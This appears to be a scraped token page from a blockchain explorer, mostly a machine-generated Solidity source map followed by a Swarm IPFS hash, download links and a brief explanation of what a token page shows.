906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:180::-;3078:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;-1:-1:-1;3170:23:1;;3019:180;-1:-1:-1;3019:180:1:o;3204:388::-;3272:6;3280;3333:2;3321:9;3312:7;3308:23;3304:32;3301:52;;;3349:1;3346;3339:12;3301:52;3388:9;3375:23;3407:31;3432:5;3407:31;:::i;:::-;3457:5;-1:-1:-1;3514:2:1;3499:18;;3486:32;3527:33;3486:32;3527:33;:::i;:::-;3579:7;3569:17;;;3204:388;;;;;:::o;3597:356::-;3799:2;3781:21;;;3818:18;;;3811:30;3877:34;3872:2;3857:18;;3850:62;3944:2;3929:18;;3597:356::o;3958:127::-;4019:10;4014:3;4010:20;4007:1;4000:31;4050:4;4047:1;4040:15;4074:4;4071:1;4064:15;4090:168;4163:9;;;4194;;4211:15;;;4205:22;;4191:37;4181:71;;4232:18;;:::i;4263:217::-;4303:1;4329;4319:132;;4373:10;4368:3;4364:20;4361:1;4354:31;4408:4;4405:1;4398:15;4436:4;4433:1;4426:15;4319:132;-1:-1:-1;4465:9:1;;4263:217::o;7709:125::-;7774:9;;;7795:10;;;7792:36;;;7808:18;;:::i;8243:128::-;8310:9;;;8331:11;;;8328:37;;;8345:18;;:::i;8919:127::-;8980:10;8975:3;8971:20;8968:1;8961:31;9011:4;9008:1;9001:15;9035:4;9032:1;9025:15;9051:251;9121:6;9174:2;9162:9;9153:7;9149:23;9145:32;9142:52;;;9190:1;9187;9180:12;9142:52;9222:9;9216:16;9241:31;9266:5;9241:31;:::i;9307:980::-;9569:4;9617:3;9606:9;9602:19;9648:6;9637:9;9630:25;9674:2;9712:6;9707:2;9696:9;9692:18;9685:34;9755:3;9750:2;9739:9;9735:18;9728:31;9779:6;9814;9808:13;9845:6;9837;9830:22;9883:3;9872:9;9868:19;9861:26;;9922:2;9914:6;9910:15;9896:29;;9943:1;9953:195;9967:6;9964:1;9961:13;9953:195;;;10032:13;;-1:-1:-1;;;;;10028:39:1;10016:52;;10123:15;;;;10088:12;;;;10064:1;9982:9;9953:195;;;-1:-1:-1;;;;;;;10204:32:1;;;;10199:2;10184:18;;10177:60;-1:-1:-1;;;10268:3:1;10253:19;10246:35;10165:3;9307:980;-1:-1:-1;;;9307:980:1:o

Swarm Source

ipfs://6137c412280167d7e9e873556d53ff328fb5c7f5cc20b5aeb855f89ea74bbc4a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.